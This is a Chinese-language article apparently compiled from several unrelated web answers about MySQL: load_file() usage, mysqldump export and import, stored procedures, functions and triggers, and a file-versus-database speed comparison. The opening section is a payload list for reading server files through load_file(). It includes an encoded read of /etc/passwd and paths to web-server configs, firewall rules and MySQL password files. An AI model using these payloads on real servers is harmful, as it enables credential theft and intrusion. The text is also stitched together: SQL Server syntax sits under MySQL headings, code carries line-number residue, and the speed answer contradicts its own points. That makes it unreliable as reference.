本文目錄一覽:
- 1、mysql中函數load_file()問題
- 2、mysql 導入導出數據庫以及函數、存儲過程的介紹
- 3、mysql為四個表創建儲存過程或者儲存函數
- 4、五、MYSQL存儲過程和函數
- 5、mysql中的函數和存儲過程的區別
- 6、mysql 比文件存儲哪個快
mysql中函數load_file()問題
1、 replace(load_file(0x2F6574632F706173737764),0x3c,0x20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面兩個是查看一個PHP文件里完全顯示代碼.有些時候不替換一些字符,如 替換成空格 返回的是網頁.而無法查看到代碼.
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄
4、/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虛擬主機配置文件
5、c:Program FilesApache GroupApacheconf httpd.conf 或C:apacheconf httpd.conf 查看WINDOWS系統apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp開發的網站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統配置的JSP虛擬主機
8、d:APACHEApache2confhttpd.conf
9、C:Program Filesmysqlmy.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑
11、 c:windowssystem32inetsrvMetaBase.xml 查看IIS的虛擬主機配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機查看
15、 /etc/sysconfig/iptables 本看防火牆策略
16 、 usr/local/app/php5/lib/php.ini PHP 的相當設置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 紅帽子的系統版本
19 、C:mysqldatamysqluser.MYD 存在MYSQL系統中的用戶密碼
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5/lib/php.ini //PHP相關設置
22、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
23、c:Program FilesRhinoSoft.comServ-UServUDaemon.ini
24、c:windowsmy.ini
mysql 導入導出數據庫以及函數、存儲過程的介紹
本篇文章是對mysql中的導入導出數據庫命令以及函數、存儲過程進行了詳細的分析介紹,需要的朋友參考下
mysql常用導出數據命令:
1.mysql導出整個數據庫
mysqldump
-hhostname
-uusername
-ppassword
databasename
backupfile.sql
mysqldump
-hlocalhost
-uroot
hqgr
hqgr.sql
(如果root用戶沒用密碼可以不寫-p,當然導出的sql文件你可以制定一個路徑,未指定則存放在mysql的bin目錄下)
2.mysql導出數據庫一個表
mysqldump
-hhostname
-uusername
-ppassword
database
tablename
導出的文件名
mysqldump
-hlocalhost
-uroot
hqgr
t_ug_user
user.sql
3.mysql導出一個數據庫結構
mysqldump
-hhostname
-uusername
-ppassword
-d
–add-drop-table
databasenamed:hqgrstructure.sql
-d
沒有數據
–add-drop-table
在每個create語句之前增加一個drop
table
4.如果需要導出mysql裡面的函數或者存儲過程
mysqldump
-hhostname
-uusername
-ppassword
-ntd
-R
databasename
backupflie.sql
mysqldump
-hlocalhost
-uroot
-ntd
-R
hqgr
hqgr.sql
其中的
-ntd
是表示導出存儲過程;-R是表示導出函數
mysql常用導入數據的命令:
1.mysql命令
mysql
-hhostname
-uusername
–
ppassword
databasename
backupfile.sql
2.source命令
mysqlsource
backupfile.sql
mysql為四個表創建儲存過程或者儲存函數
“另一個存儲過程”的名字是sp1,沒有參數,返回的結果集共3列,全部為int型,那麼“存儲過程”里添加一個與結果集列數相同的臨時表或表變量用於接收“另一個存儲過程”的結果集
如下
CREATE PROCEDURE sp2
AS
DECLARE @t table(a int,b int,c int)
INSERT INTO @t(a,b,c)
EXEC sp1
SELECT * FROM @t
使用SQLSERVER存儲過程可以很大的提高程序運行速度,簡化編程維護難度,現已得到廣泛應用。
創建存儲過程
和數據表一樣,在使用之前需要創建存儲過程,它的簡明語法是:
引用:
Create PROC 存儲過程名稱
[參數列表(多個以“,”分隔)]
AS
SQL 語句
例:
引用:
Create PROC upGetUserName
@intUserId INT,
@ostrUserName NVARCHAR(20) OUTPUT — 要輸出的參數
AS
BEGIN
— 將uName的值賦給 @ostrUserName 變量,即要輸出的參數
Select @ostrUserName=uName FROM uUser Where uId=@intUserId
END
其中 Create PROC 語句(完整語句為Create PROCEDURE)的意思就是告訴SQL SERVER,現在需要建立一個存儲過程,upGetUserName 就是存儲過程名稱,@intUserId 和 @ostrUserName 分別是該存儲過程的兩個參數,注意,在SQL SERVER中,所有用戶定義的變量都以“@”開頭,OUTPUT關鍵字表示這個參數是用來輸出的,AS之後就是存儲過程內容了。只要將以上代碼在“查詢分析器”里執行一次,SQL SERVER就會在當前數據庫中創建一個名為“upGetUserName”的存儲過程。你可以打開“企業管理器”,選擇當前操作的數據庫,然後在左邊的樹型列表中選擇“存儲過程”,此時就可以在右邊的列表中看到你剛剛創建的存儲過程了(如果沒有,刷新一下即可)。
五、MYSQL存儲過程和函數
• create procedure用來創建 存儲過程 ,create function用來創建 函數
• Delimiter命令是改變語句的結束符 ,MySQL默認的結束符為;號,由於procedure和function中的;號並不代表創建的結束,所以要替換成另外的結束符以便表示創建的結束
• rontine_body子句可以包含一個簡單的SQL語句,也可以包含多個SQL語句, 通過begin…end將這多個SQL語句 包含在一起
• MySQL存儲過程和函數中也可以包含類似create和drop等DDL語句
• comment子句用來寫入對存儲過程和函數的注釋
• Language子句用來表示此存儲過程和函數的創建語言
• 存儲過程和函數被標註為deterministic表明當輸入相同的參數是會返回相同的結果,反之如果是not deterministic則表示相同參數不會是相同結果,默認是not deterministic
• 相關屬性短語只有諮詢含義,並不是強制性的約束
• Drop procedure/function語句用來 刪除指定名稱的存儲過程或函數
• Begin…end語句通常出現在存儲過程、函數和觸發器中,其中 可以包含一個或多個語句 ,每個語句用;號隔開
• 標籤label可以加在begin…end語句以及loop, repeat和while語句
• 語句中通過iterate和leave來控制流程,iterate表示返回指定標籤位置,leave表示跳出標籤
• Declare語句通常用來聲明本地變量、游標、條件或者handler
• Declare語句只允許出現在begin … end語句中而且必須出現在第一行
• Declare的順序也有要求,通常是先聲明本地變量,再是游標,然後是條件和handler
• 本地變量可以通過declare語句進行聲明
• 聲明後的變量可以通過select … into var_list進行賦值,或者通過set語句賦值,或者通過定義游標並使用fetch … into var_list賦值
• 通過declare聲明變量方法:
• MySQL支持if,case,iterate,leave,loop,while,repeat語句作為存儲過程和函數中的 流程控制語句 ,另外return語句也是函數中的特定流程控制語句
• Case語句在存儲過程或函數中表明了 複雜的條件選擇語句
• IF語句在存儲過程或函數中表明了 基礎的條件選擇語句
其中在 function 裡面,只有 DETERMINISTIC, NO SQL 和 READS SQL DATA 被支持。如果我們開啟了 bin-log, 我們就必須為我們的 function 指定一個參數。
在 MySQL 中創建函數時出現這種錯誤的解決方法:
set global log_bin_trust_function_creators=TRUE;
• Iterate語句 僅出現在loop,repeat,while循環語句中,其含義表示重新開始此循環
• Leave語句表明 退出指定標籤的流程控制語句塊
• 通常會用在begin…end,以及loop,repeat,while的循環語句中
• Loop語句是存儲過程或函數中表達 循環執行 的一種方式
• repeat語句是存儲過程或函數中表達 循環執行 的一種方式
• while語句是存儲過程或函數中表達 循環執行 的一種方式
• Return語句用在 函數中,用來終結函數的執行並將指定值返回給調用者
• Cursor游標用來 聲明一個數據集
• 游標的聲明必須在變量和條件聲明之後,在handler聲明之前
• Cursor close語句用來 關閉之前打開的游標
• Cursor declare語句用來聲明一個游標和指定游標對應的數據集合, 通常數據集合是一個select語句
• Cursor fetch語句用來獲取游標指定數據集的 下一行數據 並將各個字段值賦予後面的變量
• Open cursor語句用來打開一個之前已經 聲明好的游標
• Declare condition語句命名 特定的錯誤條件 ,而該特定錯誤可以在declare…handler中指定 處理方法
• 比如在MySQL中1051error code表示的是unknown table的錯誤,如果要對這
個錯誤做特殊處理,可以用三種方法:
• Declare handler語句用來聲明一個handler來處理一個或多個特殊條件,當其中的某個條件滿足時則觸發其中的statement語句執行
• Statement可以是一個簡單SQL語句,也可以是begin…end組成的多個語句
• Handler_action子句聲明當執行完statement語句之後應該怎麼辦
Condition_value的值有以下幾種:
• 當condition發生但沒有聲明handler時,則存儲過程和函數依照如下規則處理
• create trigger語句用來創建一個觸發器,觸發器的作用是當表上有對應SQL語句發生時,則觸發執行
• 觸發器創建時需要 指定對應的表名 tbl_name
• Definer關鍵詞用來指定trigger的安全環境
• Trigger_time指定觸發器的執行時間,BEFORE和AFTER指定觸發器在表中的 每行數據修改前或者後 執行
• Trigger_event指定觸發該觸發器的具體 事件
• INSERT當新的一行數據插入表中時觸發,比如通過執行insert,load data,replace語句插入新數據
• UPDATE當表的一行數據被修改時觸發,比如執行update語句時
• DELETE當表的一行數據被刪除時觸發,比如執行delete,replace語句時
• 當執行insert into … on duplicate key update語句時,當碰到重複行執行update時,則觸發update下的觸發器
• 從5.7.2版本開始,可以創建具有相同trigger_time和trigger_event的同一個表上的多個觸發器,默認情況下按照創建的時間依次執行,通過 指定FOLLOWS/PRECEDES改變執行順序 ,即FOLLOWS時表示新創建的觸發器後執行,PRECEDES則表示新觸發器先執行
• Trigger_body表示觸發器觸發之後要執行的一個或多個語句,在內部可以引用涉及表的字段, OLD.col_name表示行數據被修改或刪除之前的字段數據,NEW.col_name表示行數據被插入或修改之後的字段數據
• Drop trigger語句用來 刪除一個觸發器
• If exists短語用來避免刪除不存在的觸發器時引發報錯
• 當你執行drop table時,表上的觸發器也被drop掉了
mysql中的函數和存儲過程的區別
存儲過程與函數的區別
本質上沒區別,執行的本質都一樣。
只是函數有如:只能返回一個變量的限制。而存儲過程可以返回多個。
函數是可以嵌入在sql中使用的,可以在select中調用,而存儲過程要讓sql的query 可以執行, 需要把 mysql_real_connect 的最後一個參數設置為CLIENT_MULTI_STATEMENTS。
函數限制比較多,比如不能用臨時表,只能用表變量.還有一些函數都不可用等等.而存儲過程的限制相對就比較少。
特性區別如下:
1)一般來說,存儲過程實現的功能要複雜一點,而函數的實現的功能針對性比較強。存儲過程,功能強大,可以執行包括修改表等一系列數據庫操作;用戶定義函數不能用於執行一組修改全局數據庫狀態的操作。
2)對於存儲過程來說可以返回參數,如記錄集,而函數只能返回值或者表對象。函數只能返回一個變量;而存儲過程可以返回多個。存儲過程的參數可以有IN,OUT,INOUT三種類型,而函數只能有IN類~~存儲過程聲明時不需要返回類型,而函數聲明時需要描述返回類型,且函數體中必須包含一個有效的RETURN語句。
3)存儲過程,可以使用非確定函數,不允許在用戶定義函數主體中內置非確定函數。
4)存儲過程一般是作為一個獨立的部分來執行( EXECUTE 語句執行),而函數可以作為查詢語句的一個部分來調用(SELECT調用),由於函數可以返回一個表對象,因此它可以在查詢語句中位於FROM關鍵字的後面。 SQL語句中不可用存儲過程,而可以使用函數。
當存儲過程和函數被執行的時候,SQL Manager會到procedure cache中去取相應的查詢語句,如果在procedure cache里沒有相應的查詢語句,SQL Manager就會對存儲過程和函數進行編譯。
Procedure cache中保存的是執行計劃 (execution plan) ,當編譯好之後就執行procedure cache中的execution plan,之後SQL SERVER會根據每個execution plan的實際情況來考慮是否要在cache中保存這個plan,評判的標準一個是這個execution plan可能被使用的頻率;其次是生成這個plan的代價,也就是編譯的耗時。保存在cache中的plan在下次執行時就不用再編譯了。
MYSql存儲過程的作用及語法
作用:
1、使用存過過程,很多相似性的刪除,更新,新增等操作就變得輕鬆了,並且以後也便於管理!
2、存儲過程因為SQL語句已經預編繹過了,因此運行的速度比較快。
3、存儲過程可以接受參數、輸出參數、返回單個或多個結果集以及返回值。可以向程序返回錯誤原因。
4、存儲過程運行比較穩定,不會有太多的錯誤。只要一次成功,以後都會按這個程序運行。
5、存儲過程主要是在服務器上運行,減少對客戶機的壓力。
6、存儲過程可以包含程序流、邏輯以及對數據庫的查詢。同時可以實體封裝和隱藏了數據邏輯。
7、存儲過程可以在單個存儲過程中執行一系列SQL語句。
8、存儲過程可以從自己的存儲過程內引用其它存儲過程,這可以簡化一系列複雜語句。
一、創建存儲過程
create procedure sp_name()
begin
………
end12341234
二、調用存儲過程
call sp_name()11
注意:存儲過程名稱後面必須加括號,哪怕該存儲過程沒有參數傳遞
三、刪除存儲過程
drop procedure sp_name//11
注意:不能在一個存儲過程中刪除另一個存儲過程,只能調用另一個存儲過程
四、區塊,條件,循環
1、區塊定義,常用
begin
……
end;123123
也可以給區塊起別名,如:
lable:begin
………..
end lable;123123
可以用leave lable;跳出區塊,執行區塊以後的代碼
2、條件語句
if 條件 then
statement
else
statement
end if;1234512345
3、循環語句
(1)while循環
[label:] WHILE expression DO
statements
END WHILE [label] ;1234512345
(2)、loop循環
[label:] LOOP
statements
END LOOP [label];1234512345
(3)、repeat until循環
[label:] REPEAT
statements
UNTIL expression
END REPEAT [label] ;12345671234567
五、其他常用命令
1.show procedure status
顯示數據庫中所有存儲的存儲過程基本信息,包括所屬數據庫,存儲過程名稱,創建時間等
2.show create procedure sp_name
顯示某一個存儲過程的詳細信息
函數function示例
CREATE DEFINER=`root`@`%` FUNCTION `spr_checkadmin`(acckey varchar(32), accpwd varchar(64)) RETURNS int(11)
BEGIN
DECLARE x INT;
SELECT COUNT(*) INTO x FROM admins WHERE account=acckey AND passwd=accpwd;
RETURN(x);
END;123456123456
單個返回值的存儲過程
CREATE DEFINER=`root`@`%` PROCEDURE `spr_getuserstorage`(tok varchar(128))
BEGIN
DECLARE acc VARCHAR(32);
DECLARE pkgid VARCHAR(32);
DECLARE regdate DATETIME;
DECLARE logindate DATETIME;
DECLARE sumsize BIGINT;
SELECT account INTO acc FROM userinfo WHERE token=tok;
IF (acc != NULL) THEN
SELECT SUM(filesize) INTO sumsize FROM userfiles WHERE account=acc;
SELECT packageid, registerdate, lastlogindate INTO pkgid, regdate, logindate FROM userinfo WHERE account=acc;
SELECT 0,pkgid,regdate,logindate;
ELSE
SELECT(-1);
END IF;123456789101112131415123456789101112131415
多個返回值存儲過程
CREATE DEFINER=`root`@`%` PROCEDURE `spr_queryfolderallfile`(sToken varchar(32), OUT sfid varchar(32), OUT sfext varchar(32))
BEGIN
DECLARE acc CHAR(32);
SELECT account INTO acc FROM userinfo WHERE token=sToken;
IF (acc != NULL) THEN
SELECT fileid, fileext INTO sfid, sfext FROM userfiles WHERE account=acc AND filetype=1;
END IF;
END;1234567812345678
mysql 比文件存儲哪個快
mysql更快。
1、直接讀文件相比數據庫查詢效率更勝一籌,而且文中還沒算上連接和斷開的時間。
2、一次讀取的內容越大,直接讀文件的優勢會越明顯(讀文件時間都是小幅增長,這跟文件存儲的連續性和簇大小等有關係),這個結果恰恰跟書生預料的相反,說明MYSQL對更大文件讀取可能又附加了某些操作(兩次時間增長了近30%),如果只是單純的賦值轉換應該是差異偏小才對。
3、寫文件和INSERT幾乎不用測試就可以推測出,數據庫效率只會更差。
4、很小的配置文件如果不需要使用到數據庫特性,更加適合放到獨立文件里存取,無需單獨創建數據表或記錄,很大的文件比如圖片、音樂等採用文件存儲更為方便,只把路徑或縮略圖等索引信息放到數據庫里更合理一些。
5、PHP上如果只是讀文件,file_get_contents比fopen、fclose更有效率,不包括判斷存在這個函數時間會少3秒左右。
6、fetch_row和fetch_object應該是從fetch_array轉換而來的,書生沒看過PHP的源碼,單從執行上就可以說明fetch_array效率更高,這跟網上的說法似乎相反。
實 際上在做這個試驗之前,從個人經驗判斷就有了大概的結果,測試完成後則有種豁然開朗的感覺。假定在程序效率和關鍵過程相當且不計入緩存等措施的條件下,讀 寫任何類型的數據都沒有直接操作文件來的快,不論MSYQL過程如何,最後都要到磁盤上去讀這個“文件”(記錄存儲區等效),所以當然這一切的前提是只讀 內容,無關任何排序或查找操作。
MySQL是一個關係型數據庫管理系統,由瑞典MySQL AB 公司開發,屬於 Oracle 旗下產品。MySQL 是最流行的關係型數據庫管理系統之一,在 WEB 應用方面,MySQL是最好的 RDBMS (Relational Database Management System,關係數據庫管理系統) 應用軟件之一。
MySQL是一種關係型數據庫管理系統,關係數據庫將數據保存在不同的表中,而不是將所有數據放在一個大倉庫內,這樣就增加了速度並提高了靈活性。
MySQL所使用的 SQL 語言是用於訪問數據庫的最常用標準化語言。MySQL 軟件採用了雙授權政策,分為社區版和商業版,由於其體積小、速度快、總體擁有成本低,尤其是開放源碼這一特點,一般中小型網站的開發都選擇 MySQL 作為網站數據庫。
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/248012.html